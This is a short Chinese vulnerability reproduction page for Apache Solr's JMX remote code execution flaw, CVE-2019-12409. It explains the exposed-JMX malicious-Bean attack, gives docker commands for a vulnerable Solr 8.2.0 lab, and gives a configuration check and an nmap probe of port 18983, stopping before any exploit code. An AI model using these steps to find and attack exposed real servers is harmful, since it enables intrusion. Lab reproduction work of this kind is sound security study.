Apache Solr JMX服务 RCE CVE-2019-12409¶
漏洞描述¶
Java ManagementExtensions（JMX）是一种Java技术，为管理和监视应用程序、系统对象、设备（如打印机）和面向服务的网络提供相应的工具。JMX 作为 Java的一种Bean管理机制，如果JMX服务端口暴露，那么远程攻击者可以让该服务器远程加载恶意的Bean文件，随着Bean的滥用导致远程代码执行。
影响版本¶
环境搭建¶
docker pull solr:8.2.0
docker run --name solr -d -p 8983:8983 -t solr:8.2.0
漏洞复现¶
查看搭建的Solr是否存在漏洞,查看solr.in.sh配置文件中的·ENABLE_REMOTE_JMX_OPTS·选项设置是否为“Ture”，如果为Ture，则存在漏洞
查看漏洞端口18983是否开放
nmap xxx.xxx.xxx.xxx -p 18983
